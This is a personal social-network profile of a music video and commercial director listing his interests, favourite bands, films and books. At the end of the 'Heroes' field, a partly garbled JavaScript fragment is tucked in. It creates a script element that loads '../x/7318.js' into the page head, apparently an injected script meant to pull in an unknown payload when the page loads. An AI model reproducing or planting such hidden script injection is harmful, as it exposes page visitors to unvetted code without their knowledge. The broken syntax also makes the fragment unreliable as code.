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Whitey

Sit on it.

About Me

I've got all my fingers and toes intact, so I've got that going for me. I can't sit still too long. I don't like olives. I love my friends and wish them well. I like old stuff and I wish I was living in a world where cell phones and email didn't exist. I used to make snowboard movies for a living, now I'm a music video / commercial director. I've accepted I will probably always bite my nails, yeah I know it's gross. I have a crazy dog named Clark and he rules. I like being creative and hopefully inventive. I love chips and salsa. I'm a film and music nerd, well maybe just a nerd. I tend to work a lot, because I love my work. Is that enough for you yet, if not ask me and I'll tell you anything you want to know. Below is the intro to the new EA Sports video game Skate I recently directed.

My Interests

Sarcasm, film making, my dog Clark, photography, music, skateboarding, snowboarding, chips and salsa, movies, books, making stuff up, being creative, having drinks with friends, etc...

I'd like to meet:

A life form from beyond the universe that will grant me knowledge, super powers and eternal happiness. You know like a less sensitive ET, but with better breath. IF not that, than funny creative people that art afraid to act stupid, have fun and laugh. People that are inspired and passionite about their work and life. Writers, directors, artists, film, music buffs and funny people.

Music:

Dinosaur Jr., The Jam, Superchunk, The Melvins, The Clash, Pelican, Elvis Costello, The Ramones, Dischord bands, The Thermals, Wu-Tang, Elliot Smith, Turbonegro, The Kinks, Gangstar, Biggie, Stevie Wonder, The Smiths, Eric B and Rakim, Slayer, oldies from the 50's, old jazz, on and on and on.

Movies:

Fast Times at Ridgemont High, Repo Man, Sergio Leone's films, Animal House, Taxi Driver, Dog Day Afternoon, Rushmore, The Jerk, The Big Lebowski, Caddy Shack, Vernon Florida, good original movies.

Television:

Lance a Lot Link

Books:

Hemmingway, Vonnegut, James Joyce, Bukowski, Fitzgerald, Kafka, Nobokov etc... Screenplays; Woody Allen, Billy Wilder, Jim Jarmush, Wes Anderson, Paul Schrader, Charlie Kaufman, on and on and on. David Sedaris.

Heroes:

My Dad first and foremost. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"